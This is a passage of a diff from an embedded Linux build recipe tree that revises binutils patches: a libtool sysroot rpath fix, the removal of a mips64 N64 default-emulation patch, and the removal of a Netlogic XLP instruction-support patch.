++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
diff --git a/meta/recipes-devtools/binutils/binutils/0010-Change-default-emulation-for-mips64-linux.patch b/meta/recipes-devtools/binutils/binutils/0010-Change-default-emulation-for-mips64-linux.patch
deleted file mode 100644
index 5f4ac72f48..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0010-Change-default-emulation-for-mips64-linux.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 958a49749b772660d3bafb80748829cba6bed065 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:44:14 +0000
-Subject: [PATCH 10/15] Change default emulation for mips64*-*-linux
-
-we change the default emulations to be N64 instead of N32
-
-Upstream-Status: Inappropriate [ OE configuration Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- bfd/config.bfd | 8 ++++----
- ld/configure.tgt | 8 ++++----
- 2 files changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/bfd/config.bfd b/bfd/config.bfd
-index 0e1ddb659c..d4f50f0a8d 100644
---- a/bfd/config.bfd
-+++ b/bfd/config.bfd
-@@ -919,12 +919,12 @@ case "${targ}" in
- targ_selvecs="mips_elf32_le_vec mips_elf64_be_vec mips_elf64_le_vec mips_ecoff_be_vec mips_ecoff_le_vec"
- ;;
- mips64*el-*-linux*)
-- targ_defvec=mips_elf32_ntrad_le_vec
-- targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_trad_le_vec mips_elf32_trad_be_vec mips_elf64_trad_le_vec mips_elf64_trad_be_vec"
-+ targ_defvec=mips_elf64_trad_le_vec
-+ targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_ntrad_le_vec mips_elf32_trad_le_vec mips_elf32_trad_be_vec mips_elf64_trad_be_vec"
- ;;
- mips64*-*-linux*)
-- targ_defvec=mips_elf32_ntrad_be_vec
-- targ_selvecs="mips_elf32_ntrad_le_vec mips_elf32_trad_be_vec mips_elf32_trad_le_vec mips_elf64_trad_be_vec mips_elf64_trad_le_vec"
-+ targ_defvec=mips_elf64_trad_be_vec
-+ targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_ntrad_le_vec mips_elf32_trad_be_vec mips_elf32_trad_le_vec mips_elf64_trad_le_vec"
- ;;
- mips*el-*-linux*)
- targ_defvec=mips_elf32_trad_le_vec
-diff --git a/ld/configure.tgt b/ld/configure.tgt
-index beba17ef51..917be6f8eb 100644
---- a/ld/configure.tgt
-+++ b/ld/configure.tgt
-@@ -468,11 +468,11 @@ mips*el-*-vxworks*) targ_emul=elf32elmipvxworks
- mips*-*-vxworks*) targ_emul=elf32ebmipvxworks
- targ_extra_emuls="elf32elmipvxworks" ;;
- mips*-*-windiss) targ_emul=elf32mipswindiss ;;
--mips64*el-*-linux-*) targ_emul=elf32ltsmipn32
-- targ_extra_emuls="elf32btsmipn32 elf32ltsmip elf32btsmip elf64ltsmip elf64btsmip"
-+mips64*el-*-linux-*) targ_emul=elf64ltsmip
-+ targ_extra_emuls="elf32btsmipn32 elf32ltsmipn32 elf32ltsmip elf32btsmip elf64btsmip"
- targ_extra_libpath=$targ_extra_emuls ;;
--mips64*-*-linux-*) targ_emul=elf32btsmipn32
-- targ_extra_emuls="elf32ltsmipn32 elf32btsmip elf32ltsmip elf64btsmip elf64ltsmip"
-+mips64*-*-linux-*) targ_emul=elf64btsmip
-+ targ_extra_emuls="elf32btsmipn32 elf32ltsmipn32 elf32btsmip elf32ltsmip elf64ltsmip"
- targ_extra_libpath=$targ_extra_emuls ;;
- mips*el-*-linux-*) targ_emul=elf32ltsmip
- targ_extra_emuls="elf32btsmip elf32ltsmipn32 elf64ltsmip elf32btsmipn32 elf64btsmip"
diff --git a/meta/recipes-devtools/binutils/binutils/0010-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch b/meta/recipes-devtools/binutils/binutils/0010-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
new file mode 100644
index 0000000000..217ba5df85
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0010-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
@@ -0,0 +1,49 @@
+From 1c4581a059afe2799bb825b388ae92f8fa6f19a3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 2 Mar 2015 01:42:38 +0000
+Subject: [PATCH] Fix rpath in libtool when sysroot is enabled
+
+Enabling sysroot support in libtool exposed a bug where the final
+library had an RPATH encoded into it which still pointed to the
+sysroot. This works around the issue until it gets sorted out
+upstream.
+
+Fix suggested by Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Scott Garman <scott.a.garman@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltmain.sh | 10 ++++++++--
+ 1 file changed, 8 insertions(+), 2 deletions(-)
+
+diff --git a/ltmain.sh b/ltmain.sh
+index 70e856e0659..11ee684cccf 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -8035,9 +8035,11 @@ EOF
+ test "$opt_mode" != relink && rpath="$compile_rpath$rpath"
+ for libdir in $rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+- func_replace_sysroot "$libdir"
+- libdir=$func_replace_sysroot_result
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs="$libdir"
+ else
+@@ -8770,6 +8772,10 @@ EOF
+ hardcode_libdirs=
+ for libdir in $compile_rpath $finalize_rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs="$libdir"
diff --git a/meta/recipes-devtools/binutils/binutils/0011-Add-support-for-Netlogic-XLP.patch b/meta/recipes-devtools/binutils/binutils/0011-Add-support-for-Netlogic-XLP.patch
deleted file mode 100644
index 20c5ed6308..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0011-Add-support-for-Netlogic-XLP.patch
+++ /dev/null
@@ -1,393 +0,0 @@
-From e4a0cd30c7e9334ed507c93014a8b2d1315ff937 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 14 Feb 2016 17:06:19 +0000
-Subject: [PATCH 11/15] Add support for Netlogic XLP
-
-Patch From: Nebu Philips <nphilips@netlogicmicro.com>
-
-Using the mipsisa64r2nlm target, add support for XLP from
-Netlogic. Also, update vendor name to NLM wherever applicable.
-
-Use 0x00000080 for INSN_XLP, the value 0x00000040 has already been
-assigned to INSN_OCTEON3
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Baoshan Pang <baoshan.pang@windriver.com>
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- bfd/aoutx.h | 1 +
- bfd/archures.c | 1 +
- bfd/bfd-in2.h | 1 +
- bfd/config.bfd | 5 +++++
- bfd/cpu-mips.c | 6 ++++--
- bfd/elfxx-mips.c | 8 ++++++++
- binutils/readelf.c | 1 +
- gas/config/tc-mips.c | 4 +++-
- gas/configure | 3 +++
- include/elf/mips.h | 1 +
- include/opcode/mips.h | 6 ++++++
- ld/configure.tgt | 2 ++
- opcodes/mips-dis.c | 12 +++++-------
- opcodes/mips-opc.c | 31 ++++++++++++++++++++-----------
- 14 files changed, 61 insertions(+), 21 deletions(-)
-
-diff --git a/bfd/aoutx.h b/bfd/aoutx.h
-index e5d8dcf390..2cc74a2d61 100644
---- a/bfd/aoutx.h
-+++ b/bfd/aoutx.h
-@@ -799,6 +799,7 @@ NAME (aout, machine_type) (enum bfd_architecture arch,
- case bfd_mach_mipsisa64r6:
- case bfd_mach_mips_sb1:
- case bfd_mach_mips_xlr:
-+ case bfd_mach_mips_xlp:
- /* FIXME: These should be MIPS3, MIPS4, MIPS16, MIPS32, etc. */
- arch_flags = M_MIPS2;
- break;
-diff --git a/bfd/archures.c b/bfd/archures.c
-index 647cf0d8d4..7e1d0c810f 100644
---- a/bfd/archures.c
-+++ b/bfd/archures.c
-@@ -185,6 +185,7 @@ DESCRIPTION
- .#define bfd_mach_mips_octeon3 6503
- .#define bfd_mach_mips_xlr 887682 {* decimal 'XLR'. *}
- .#define bfd_mach_mips_interaptiv_mr2 736550 {* decimal 'IA2'. *}
-+.#define bfd_mach_mips_xlp 887680 {* decimal 'XLP'. *}
- .#define bfd_mach_mipsisa32 32
- .#define bfd_mach_mipsisa32r2 33
- .#define bfd_mach_mipsisa32r3 34
-diff --git a/bfd/bfd-in2.h b/bfd/bfd-in2.h
-index e25da50aaf..e251d7e7aa 100644
---- a/bfd/bfd-in2.h
-+++ b/bfd/bfd-in2.h
-@@ -2084,6 +2084,7 @@ enum bfd_architecture
- #define bfd_mach_mips_octeon3 6503
- #define bfd_mach_mips_xlr 887682 /* decimal 'XLR'. */
- #define bfd_mach_mips_interaptiv_mr2 736550 /* decimal 'IA2'. */
-+#define bfd_mach_mips_xlp 887680 /* decimal 'XLP'. */
- #define bfd_mach_mipsisa32 32
- #define bfd_mach_mipsisa32r2 33
- #define bfd_mach_mipsisa32r3 34
-diff --git a/bfd/config.bfd b/bfd/config.bfd
-index cc65547588..3614ff79d4 100644
---- a/bfd/config.bfd
-+++ b/bfd/config.bfd
-@@ -902,6 +902,11 @@ case "${targ}" in
- targ_defvec=mips_elf32_le_vec
- targ_selvecs="mips_elf32_be_vec mips_elf64_be_vec mips_elf64_le_vec"
- ;;
-+ mipsisa64*-*-elf*)
-+ targ_defvec=mips_elf32_trad_be_vec
-+ targ_selvecs="mips_elf32_trad_le_vec mips_elf64_trad_be_vec mips_elf64_trad_le_vec"
-+ want64=true
-+ ;;
- mips*-*-elf* | mips*-*-rtems* | mips*-*-windiss | mips*-*-none)
- targ_defvec=mips_elf32_be_vec
- targ_selvecs="mips_elf32_le_vec mips_elf64_be_vec mips_elf64_le_vec"
-diff --git a/bfd/cpu-mips.c b/bfd/cpu-mips.c
-index b359491305..61a3e7aaca 100644
---- a/bfd/cpu-mips.c
-+++ b/bfd/cpu-mips.c
-@@ -107,7 +107,8 @@ enum
- I_mipsocteon3,
- I_xlr,
- I_interaptiv_mr2,
-- I_micromips
-+ I_micromips,
-+ I_xlp
- };
-
- #define NN(index) (&arch_info_struct[(index) + 1])
-@@ -162,7 +163,8 @@ static const bfd_arch_info_type arch_info_struct[] =
- N (64, 64, bfd_mach_mips_xlr, "mips:xlr", FALSE, NN(I_xlr)),
- N (32, 32, bfd_mach_mips_interaptiv_mr2, "mips:interaptiv-mr2", FALSE,
- NN(I_interaptiv_mr2)),
-- N (64, 64, bfd_mach_mips_micromips,"mips:micromips",FALSE,0)
-+ N (64, 64, bfd_mach_mips_micromips,"mips:micromips",FALSE,NN(I_micromips)),
-+ N (64, 64, bfd_mach_mips_xlp, "mips:xlp", FALSE, 0)
- };
-
- /* The default architecture is mips:3000, but with a machine number of
-diff --git a/bfd/elfxx-mips.c b/bfd/elfxx-mips.c
-index 5998bc43a8..0d5795222b 100644
---- a/bfd/elfxx-mips.c
-+++ b/bfd/elfxx-mips.c
-@@ -6919,6 +6919,9 @@ _bfd_elf_mips_mach (flagword flags)
- case E_MIPS_MACH_IAMR2:
- return bfd_mach_mips_interaptiv_mr2;
-
-+ case E_MIPS_MACH_XLP:
-+ return bfd_mach_mips_xlp;
-+
- default:
- switch (flags & EF_MIPS_ARCH)
- {
-@@ -12199,6 +12202,10 @@ mips_set_isa_flags (bfd *abfd)
- val = E_MIPS_ARCH_64R2 | E_MIPS_MACH_OCTEON2;
- break;
-
-+ case bfd_mach_mips_xlp:
-+ val = E_MIPS_ARCH_64R2 | E_MIPS_MACH_XLP;
-+ break;
-+
- case bfd_mach_mipsisa32:
- val = E_MIPS_ARCH_32;
- break;
-@@ -14214,6 +14221,7 @@ static const struct mips_mach_extension mips_mach_extensions[] =
- { bfd_mach_mips_gs264e, bfd_mach_mips_gs464e },
- { bfd_mach_mips_gs464e, bfd_mach_mips_gs464 },
- { bfd_mach_mips_gs464, bfd_mach_mipsisa64r2 },
-+ { bfd_mach_mips_xlp, bfd_mach_mipsisa64r2 },
-
- /* MIPS64 extensions. */
- { bfd_mach_mipsisa64r2, bfd_mach_mipsisa64 },
-diff --git a/binutils/readelf.c b/binutils/readelf.c
-index b13eb6a43b..9df3742682 100644
---- a/binutils/readelf.c
-+++ b/binutils/readelf.c
-@@ -3412,6 +3412,7 @@ get_machine_flags (Filedata * filedata, unsigned e_flags, unsigned e_machine)
- case E_MIPS_MACH_OCTEON3: strcat (buf, ", octeon3"); break;
- case E_MIPS_MACH_XLR: strcat (buf, ", xlr"); break;
- case E_MIPS_MACH_IAMR2: strcat (buf, ", interaptiv-mr2"); break;
-+ case E_MIPS_MACH_XLP: strcat (buf, ", xlp"); break;
- case 0:
- /* We simply ignore the field in this case to avoid confusion:
- MIPS ELF does not specify EF_MIPS_MACH, it is a GNU
-diff --git a/gas/config/tc-mips.c b/gas/config/tc-mips.c
-index ae55904229..d6882712f5 100644
---- a/gas/config/tc-mips.c
-+++ b/gas/config/tc-mips.c
-@@ -554,6 +554,7 @@ static int mips_32bitmode = 0;
- || mips_opts.arch == CPU_RM7000 \
- || mips_opts.arch == CPU_VR5500 \
- || mips_opts.micromips \
-+ || mips_opts.arch == CPU_XLP \
- )
-
- /* Whether the processor uses hardware interlocks to protect reads
-@@ -583,6 +584,7 @@ static int mips_32bitmode = 0;
- && mips_opts.isa != ISA_MIPS3) \
- || mips_opts.arch == CPU_R4300 \
- || mips_opts.micromips \
-+ || mips_opts.arch == CPU_XLP \
- )
-
- /* Whether the processor uses hardware interlocks to protect reads
-@@ -19867,7 +19869,7 @@ static const struct mips_cpu_info mips_cpu_info_table[] =
- /* Broadcom XLP.
- XLP is mostly like XLR, with the prominent exception that it is
- MIPS64R2 rather than MIPS64. */
-- { "xlp", 0, 0, ISA_MIPS64R2, CPU_XLR },
-+ { "xlp", 0, 0, ISA_MIPS64R2, CPU_XLP },
-
- /* MIPS 64 Release 6 */
- { "i6400", 0, ASE_MSA, ISA_MIPS64R6, CPU_MIPS64R6},
-diff --git a/gas/configure b/gas/configure
-index a82fde7fa8..afc77c347a 100755
---- a/gas/configure
-+++ b/gas/configure
-@@ -13364,6 +13364,9 @@ _ACEOF
- mipsisa64r6 | mipsisa64r6el)
- mips_cpu=mips64r6
- ;;
-+ mipsisa64r2nlm | mipsisa64r2nlmel)
-+ mips_cpu=xlp
-+ ;;
- mipstx39 | mipstx39el)
- mips_cpu=r3900
- ;;
-diff --git a/include/elf/mips.h b/include/elf/mips.h
-index b76d450ae2..7cddb365ad 100644
---- a/include/elf/mips.h
-+++ b/include/elf/mips.h
-@@ -290,6 +290,7 @@ END_RELOC_NUMBERS (R_MIPS_maxext)
- #define E_MIPS_MACH_SB1 0x008a0000
- #define E_MIPS_MACH_OCTEON 0x008b0000
- #define E_MIPS_MACH_XLR 0x008c0000
-+#define E_MIPS_MACH_XLP 0x008f0000
- #define E_MIPS_MACH_OCTEON2 0x008d0000
- #define E_MIPS_MACH_OCTEON3 0x008e0000
- #define E_MIPS_MACH_5400 0x00910000
-diff --git a/include/opcode/mips.h b/include/opcode/mips.h
-index abd52c8980..53b6752a1c 100644
---- a/include/opcode/mips.h
-+++ b/include/opcode/mips.h
-@@ -1260,6 +1260,8 @@ static const unsigned int mips_isa_table[] = {
- #define INSN_XLR 0x00000020
- /* Imagination interAptiv MR2. */
- #define INSN_INTERAPTIV_MR2 0x04000000
-+/* Netlogic XlP instruction */
-+#define INSN_XLP 0x00000080
-
- /* DSP ASE */
- #define ASE_DSP 0x00000001
-@@ -1381,6 +1383,7 @@ static const unsigned int mips_isa_table[] = {
- #define CPU_OCTEON3 6503
- #define CPU_XLR 887682 /* decimal 'XLR' */
- #define CPU_INTERAPTIV_MR2 736550 /* decimal 'IA2' */
-+#define CPU_XLP 887680 /* decimal 'XLP' */
-
- /* Return true if the given CPU is included in INSN_* mask MASK. */
-
-@@ -1458,6 +1461,9 @@ cpu_is_member (int cpu, unsigned int mask)
- return ((mask & INSN_ISA_MASK) == INSN_ISA32R6)
- || ((mask & INSN_ISA_MASK) == INSN_ISA64R6);
-
-+ case CPU_XLP:
-+ return (mask & INSN_XLP) != 0;
-+
- default:
- return FALSE;
- }
-diff --git a/ld/configure.tgt b/ld/configure.tgt
-index 917be6f8eb..347df6c3f6 100644
---- a/ld/configure.tgt
-+++ b/ld/configure.tgt
-@@ -454,6 +454,8 @@ mips*el-sde-elf* | mips*el-mti-elf* | mips*el-img-elf*)
- mips*-sde-elf* | mips*-mti-elf* | mips*-img-elf*)
- targ_emul=elf32btsmip
- targ_extra_emuls="elf32ltsmip elf32btsmipn32 elf64btsmip elf32ltsmipn32 elf64ltsmip" ;;
-+mipsisa64*-*-elf*) targ_emul=elf32btsmip
-+ targ_extra_emuls="elf32ltsmip elf64btsmip elf64ltsmip" ;;
- mips64*el-ps2-elf*) targ_emul=elf32lr5900n32
- targ_extra_emuls="elf32lr5900"
- targ_extra_libpath=$targ_extra_emuls ;;
-diff --git a/opcodes/mips-dis.c b/opcodes/mips-dis.c
-index 0dd85e3779..1ea708dde7 100644
---- a/opcodes/mips-dis.c
-+++ b/opcodes/mips-dis.c
-@@ -673,13 +673,11 @@ const struct mips_arch_choice mips_arch_choices[] =
- mips_cp0sel_names_xlr, ARRAY_SIZE (mips_cp0sel_names_xlr),
- mips_cp1_names_mips3264, mips_hwr_names_numeric },
-
-- /* XLP is mostly like XLR, with the prominent exception it is being
-- MIPS64R2. */
-- { "xlp", 1, bfd_mach_mips_xlr, CPU_XLR,
-- ISA_MIPS64R2 | INSN_XLR, 0,
-- mips_cp0_names_xlr,
-- mips_cp0sel_names_xlr, ARRAY_SIZE (mips_cp0sel_names_xlr),
-- mips_cp1_names_mips3264, mips_hwr_names_numeric },
-+ { "xlp", 1, bfd_mach_mips_xlp, CPU_XLP,
-+ ISA_MIPS64R2 | INSN_XLP, 0,
-+ mips_cp0_names_mips3264r2,
-+ mips_cp0sel_names_mips3264r2, ARRAY_SIZE (mips_cp0sel_names_mips3264r2),
-+ mips_cp1_names_mips3264, mips_hwr_names_mips3264r2 },
-
- /* This entry, mips16, is here only for ISA/processor selection; do
- not print its name. */
-diff --git a/opcodes/mips-opc.c b/opcodes/mips-opc.c
-index 837da6bd99..d3ea5b8877 100644
---- a/opcodes/mips-opc.c
-+++ b/opcodes/mips-opc.c
-@@ -328,6 +328,7 @@ decode_mips_operand (const char *p)
- #define IOCT3 INSN_OCTEON3
- #define XLR INSN_XLR
- #define IAMR2 INSN_INTERAPTIV_MR2
-+#define XLP INSN_XLP
- #define IVIRT ASE_VIRT
- #define IVIRT64 ASE_VIRT64
-
-@@ -989,6 +990,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"clo", "U,s", 0x70000021, 0xfc0007ff, WR_1|RD_2, 0, I32|N55, 0, I37 },
- {"clz", "d,s", 0x00000050, 0xfc1f07ff, WR_1|RD_2, 0, I37, 0, 0 },
- {"clz", "U,s", 0x70000020, 0xfc0007ff, WR_1|RD_2, 0, I32|N55, 0, I37 },
-+{"crc", "d,s,t", 0x7000001c, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- /* ctc0 is at the bottom of the table. */
- {"ctc1", "t,G", 0x44c00000, 0xffe007ff, RD_1|WR_CC|CM, 0, I1, 0, 0 },
- {"ctc1", "t,S", 0x44c00000, 0xffe007ff, RD_1|WR_CC|CM, 0, I1, 0, 0 },
-@@ -1021,12 +1023,13 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"daddiu", "t,r,j", 0x64000000, 0xfc000000, WR_1|RD_2, 0, I3, 0, 0 },
- {"daddu", "d,v,t", 0x0000002d, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I3, 0, 0 },
- {"daddu", "t,r,I", 0, (int) M_DADDU_I, INSN_MACRO, 0, I3, 0, 0 },
--{"daddwc", "d,s,t", 0x70000038, 0xfc0007ff, WR_1|RD_2|RD_3|WR_C0|RD_C0, 0, XLR, 0, 0 },
-+{"daddwc", "d,s,t", 0x70000038, 0xfc0007ff, WR_1|RD_2|RD_3|WR_C0|RD_C0, 0, XLR|XLP, 0, 0 },
- {"dbreak", "", 0x7000003f, 0xffffffff, 0, 0, N5, 0, 0 },
- {"dclo", "d,s", 0x00000053, 0xfc1f07ff, WR_1|RD_2, 0, I69, 0, 0 },
- {"dclo", "U,s", 0x70000025, 0xfc0007ff, WR_1|RD_2, 0, I64|N55, 0, I69 },
- {"dclz", "d,s", 0x00000052, 0xfc1f07ff, WR_1|RD_2, 0, I69, 0, 0 },
- {"dclz", "U,s", 0x70000024, 0xfc0007ff, WR_1|RD_2, 0, I64|N55, 0, I69 },
-+{"dcrc", "d,s,t", 0x7000001d, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- /* dctr and dctw are used on the r5000. */
- {"dctr", "o(b)", 0xbc050000, 0xfc1f0000, RD_2, 0, I3, 0, 0 },
- {"dctw", "o(b)", 0xbc090000, 0xfc1f0000, RD_2, 0, I3, 0, 0 },
-@@ -1098,6 +1101,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"dmfc0", "t,G,H", 0x40200000, 0xffe007f8, WR_1|RD_C0|LC, 0, I64, 0, 0 },
- {"dmfgc0", "t,G", 0x40600100, 0xffe007ff, WR_1|RD_C0|LC, 0, 0, IVIRT64, 0 },
- {"dmfgc0", "t,G,H", 0x40600100, 0xffe007f8, WR_1|RD_C0|LC, 0, 0, IVIRT64, 0 },
-+{"dmfur", "t,d", 0x7000001e, 0xffe007ff, WR_1, 0, XLP, 0, 0 },
- {"dmt", "", 0x41600bc1, 0xffffffff, TRAP, 0, 0, MT32, 0 },
- {"dmt", "t", 0x41600bc1, 0xffe0ffff, WR_1|TRAP, 0, 0, MT32, 0 },
- {"dmtc0", "t,G", 0x40a00000, 0xffe007ff, RD_1|WR_C0|WR_CC|CM, 0, I3, 0, EE },
-@@ -1113,6 +1117,8 @@ const struct mips_opcode mips_builtin_opcodes[] =
- /* dmfc3 is at the bottom of the table. */
- /* dmtc3 is at the bottom of the table. */
- {"dmuh", "d,s,t", 0x000000dc, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I69, 0, 0 },
-+{"dmtur", "t,d", 0x7000001f, 0xffe007ff, RD_1, 0, XLP, 0, 0 },
-+{"dmul", "d,s,t", 0x70000006, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- {"dmul", "d,s,t", 0x0000009c, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I69, 0, 0 },
- {"dmul", "d,v,t", 0x70000003, 0xfc0007ff, WR_1|RD_2|RD_3|WR_HILO, 0, IOCT, 0, 0 },
- {"dmul", "d,v,t", 0, (int) M_DMUL, INSN_MACRO, 0, I3, 0, M32|I69 },
-@@ -1266,9 +1272,9 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"ld", "s,-b(+R)", 0xec180000, 0xfc1c0000, WR_1, RD_pc, I69, 0, 0 },
- {"ld", "t,A(b)", 0, (int) M_LD_AB, INSN_MACRO, 0, I1, 0, 0 },
- {"ld", "t,o(b)", 0xdc000000, 0xfc000000, WR_1|RD_3|LM, 0, I3, 0, 0 },
--{"ldaddw", "t,b", 0x70000010, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"ldaddwu", "t,b", 0x70000011, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"ldaddd", "t,b", 0x70000012, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
-+{"ldaddw", "t,b", 0x70000010, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"ldaddwu", "t,b", 0x70000011, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"ldaddd", "t,b", 0x70000012, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
- {"ldc1", "T,o(b)", 0xd4000000, 0xfc000000, WR_1|RD_3|CLD|FP_D, 0, I2, 0, SF },
- {"ldc1", "E,o(b)", 0xd4000000, 0xfc000000, WR_1|RD_3|CLD|FP_D, 0, I2, 0, SF },
- {"ldc1", "T,A(b)", 0, (int) M_LDC1_AB, INSN_MACRO, INSN2_M_FP_D, I2, 0, SF },
-@@ -1433,7 +1439,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"mflo", "d,9", 0x00000012, 0xff9f07ff, WR_1|RD_LO, 0, 0, D32, 0 },
- {"mflo1", "d", 0x70000012, 0xffff07ff, WR_1|RD_LO, 0, EE, 0, 0 },
- {"mflhxu", "d", 0x00000052, 0xffff07ff, WR_1|MOD_HILO, 0, 0, SMT, 0 },
--{"mfcr", "t,s", 0x70000018, 0xfc00ffff, WR_1|RD_2, 0, XLR, 0, 0 },
-+{"mfcr", "t,s", 0x70000018, 0xfc00ffff, WR_1, 0, XLR|XLP, 0, 0 },
- {"mfsa", "d", 0x00000028, 0xffff07ff, WR_1, 0, EE, 0, 0 },
- {"min.ob", "X,Y,Q", 0x78000006, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, SB1, MX, 0 },
- {"min.ob", "D,S,Q", 0x48000006, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, N54, 0, 0 },
-@@ -1478,10 +1484,13 @@ const struct mips_opcode mips_builtin_opcodes[] =
- /* move is at the top of the table. */
- {"msgn.qh", "X,Y,Q", 0x78200000, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, 0, MX, 0 },
- {"msgsnd", "t", 0, (int) M_MSGSND, INSN_MACRO, 0, XLR, 0, 0 },
-+{"msgsnds", "d,t", 0x4a000001, 0xffe007ff, WR_1|RD_2|RD_C0|WR_C0, 0, XLP, 0, 0 },
- {"msgld", "", 0, (int) M_MSGLD, INSN_MACRO, 0, XLR, 0, 0 },
- {"msgld", "t", 0, (int) M_MSGLD_T, INSN_MACRO, 0, XLR, 0, 0 },
--{"msgwait", "", 0, (int) M_MSGWAIT, INSN_MACRO, 0, XLR, 0, 0 },
--{"msgwait", "t", 0, (int) M_MSGWAIT_T,INSN_MACRO, 0, XLR, 0, 0 },
-+{"msglds", "d,t", 0x4a000002, 0xffe007ff, WR_1|RD_2|RD_C0|WR_C0, 0, XLP, 0, 0 },
-+{"msgwait", "", 0, (int) M_MSGWAIT, INSN_MACRO, 0, XLR|XLP, 0, 0 },
-+{"msgwait", "t", 0, (int) M_MSGWAIT_T,INSN_MACRO, 0, XLR|XLP, 0, 0 },
-+{"msgsync", "", 0x4a000004, 0xffffffff,0, 0, XLP, 0, 0 },
- {"msub.d", "D,R,S,T", 0x4c000029, 0xfc00003f, WR_1|RD_2|RD_3|RD_4|FP_D, 0, I4_33, 0, I37 },
- {"msub.d", "D,S,T", 0x46200019, 0xffe0003f, WR_1|RD_2|RD_3|FP_D, 0, IL2E, 0, 0 },
- {"msub.d", "D,S,T", 0x72200019, 0xffe0003f, WR_1|RD_2|RD_3|FP_D, 0, IL2F, 0, 0 },
